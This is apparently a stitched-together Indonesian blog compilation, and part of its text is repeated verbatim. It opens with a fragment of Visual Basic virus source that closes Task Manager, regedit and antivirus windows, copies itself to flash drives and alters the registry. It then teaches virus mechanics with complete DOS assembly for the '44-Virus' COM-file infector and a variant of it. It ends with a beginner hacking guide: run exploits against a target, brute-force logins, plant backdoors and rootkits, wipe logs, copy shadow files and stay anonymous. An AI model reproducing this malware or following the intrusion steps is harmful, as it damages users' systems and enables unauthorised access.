FWnd = FindWindow(“OpusApp”, “New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – Book1″) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
‘menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(“#32770″, “RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “System Configuration Utility”) ‘msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Windows Task Manager”) ‘task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “AntiVir Guard: Attention, Detection!”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString) ‘regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TApplication”, vbNullString) ‘aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub
Private Sub Timer4_Timer()
‘cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
‘menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
Cara Kerja Virus
4. 1. Cara Kerja Virus Komputer
Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line . Untuk memperjelas mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :
Gambar 4.1. Mekanisme Penularan
Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.
Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :
1.
Kemampuan mendapatkan informasi
2.
Kemampuan memeriksa program
3.
Kemampuan menggandakan diri / menularkan
4.
Kemampuan mengadakan manipulasi
5.
Kemampuan menyembunyikan diri sendiri
Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya
4. 1.1. Kemampuan mendapatkan Informasi
Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.
Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana
Besar_file_terinfeksi = file_asli + Virus_size
Fungsi ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan informasi tentang File :
Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File ; cari host file
———
int 21h ; Dos Intrupt
cmp ax,12h ; Ada file lagi
je exit ; kalau tidak ada exit
———
file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start ; akhir kode Virus
Listing 4.1. Search First File
Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File), dan mendapat kan informasi tentang file yang berada di dalam directory, biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.
4. 1. 2. Kemampuan Untuk Memeriksa Program
Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :
Gambar 4.2. Memeriksa Program
Berikut ini contoh listing dari kemampuan untuk memeriksa file
Mov ah, 3fh ; Baca file
Mov cx, 3 ; baca 3 byte
Mov dx,3_byte ; simpan pada buffer
Add dx,si ; Nama file
Int 21h ; Dos intrupt
Cmp a,3 ; Cek 3 byte tadi
Jnz cari_lagi ; Jika sudah tertular exit
Jmp Infect ; kalau belum , infect_file
3_byte equ $ ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file : ; bagian penginfeksian
———— ; rutin infeksi
int 20h ; Dos Exit function
nop ; No Operation
Listing 4.2 . Periksa File
Pada rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file korbannya, untuk memberikan identitas file mana yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte pertama yang menandakan file tersebut sudah tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows
Rutin ini sangat penting untuk menghindari penularan berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 % virus komputer untuk menularkan diri.
4. 1. 3. Kemampuan untuk menggandakan diri / Replicating
kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.
Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.
File bersih program Virus
Pada diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari file.
Setelah itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di belakang file korban.
Kemudian virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat dibawah ini :
Dalam program dapat diambil contoh 44-Virus.Com , yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan untuk menulari file Com.
Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.
Berikut ini listing dari 44-Virus.Asm :
virus segment
org 100h ; file COM
assume cs:virus
len equ offset last-100h ;Panjang virus = Akhir program – awal program
start : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
Mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h ; Akhir badan virus “V2″
virus ends
end start
Listing 4.3. Replicating / Penggandaan
4. 1. 4. Kemampuan Mengadakan Manipulasi
Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :
1.
Menampilkan tulisan / kata-kata / gambar
2.
Membunyikan port speaker
3.
Time bomb / logic Bomb
4.1.4.1. Menampilkan Tulisan / gambar
Rutin ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan menarik. Listing program dibawah ini akan memberikan contoh pembuatan rutin ini.
virus segment
org 100h
assume cs:virus
len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai
msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h ; Akhir badan virus “V2″
virus ends
end start
Listing. 4.4. Rutin Cetak String
Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :
Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –
setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line . Untuk memperjelas mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :
Gambar 4.1. Mekanisme Penularan
Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.
Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :
1.
Kemampuan mendapatkan informasi
2.
Kemampuan memeriksa program
3.
Kemampuan menggandakan diri / menularkan
4.
Kemampuan mengadakan manipulasi
5.
Kemampuan menyembunyikan diri sendiri
Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya
4. 1.1. Kemampuan mendapatkan Informasi
Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.
Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana
Besar_file_terinfeksi = file_asli + Virus_size
Fungsi ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan informasi tentang File :
Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File ; cari host file
———
int 21h ; Dos Intrupt
cmp ax,12h ; Ada file lagi
je exit ; kalau tidak ada exit
———
file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start ; akhir kode Virus
Listing 4.1. Search First File
Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File), dan mendapat kan informasi tentang file yang berada di dalam directory, biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.
4. 1. 2. Kemampuan Untuk Memeriksa Program
Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :
Gambar 4.2. Memeriksa Program
Berikut ini contoh listing dari kemampuan untuk memeriksa file
Mov ah, 3fh ; Baca file
Mov cx, 3 ; baca 3 byte
Mov dx,3_byte ; simpan pada buffer
Add dx,si ; Nama file
Int 21h ; Dos intrupt
Cmp a,3 ; Cek 3 byte tadi
Jnz cari_lagi ; Jika sudah tertular exit
Jmp Infect ; kalau belum , infect_file
3_byte equ $ ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file : ; bagian penginfeksian
———— ; rutin infeksi
int 20h ; Dos Exit function
nop ; No Operation
Listing 4.2 . Periksa File
Pada rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file korbannya, untuk memberikan identitas file mana yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte pertama yang menandakan file tersebut sudah tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows
Rutin ini sangat penting untuk menghindari penularan berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 % virus komputer untuk menularkan diri.
4. 1. 3. Kemampuan untuk menggandakan diri / Replicating
kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.
Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.
File bersih program Virus
Pada diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari file.
Setelah itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di belakang file korban.
Kemudian virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat dibawah ini :
Dalam program dapat diambil contoh 44-Virus.Com , yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan untuk menulari file Com.
Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.
Berikut ini listing dari 44-Virus.Asm :
virus segment
org 100h ; file COM
assume cs:virus
len equ offset last-100h ;Panjang virus = Akhir program – awal program
start : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
Mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h ; Akhir badan virus “V2″
virus ends
end start
Listing 4.3. Replicating / Penggandaan
4. 1. 4. Kemampuan Mengadakan Manipulasi
Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :
1.
Menampilkan tulisan / kata-kata / gambar
2.
Membunyikan port speaker
3.
Time bomb / logic Bomb
4.1.4.1. Menampilkan Tulisan / gambar
Rutin ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan menarik. Listing program dibawah ini akan memberikan contoh pembuatan rutin ini.
virus segment
org 100h
assume cs:virus
len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai
msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h ; Akhir badan virus “V2″
virus ends
end start
Listing. 4.4. Rutin Cetak String
Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :
Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –
setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
Apa Itu Hacking???? For Newbie
Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
Pro Kontra
Etika Hacking Semua informasi adalah free Jika semua informasi adalah free, maka tidak ada ladi privacy
Aspek Security Intrusion adalah ilustrasi kelemahan sistem Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci
Idle Machines Hacking hanya pada idle machines idle machines milik siapa ?
science education hanya membobol tapi tidak merusak “hacker wannabe” berpotensi sangat besar untuk merusak
Okeh, sekarang waktunya melakukan aksi…
1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
- Secara Aktif : – portscanning
- network mapping
- OS Detection
- application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
- Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)
- via internet registries (informasi domain, IP Addres)
- Website yang menjadi terget
2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host -> $gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.terget.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
- Secara berulang melakukan percobaan otentifikasi.
- Menebak username dan password.
- Cracking password file
~ Social Engineering
- Memperdayai user untuk memeberi tahu Username dan password
- Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Selanjutnya terserah anda………
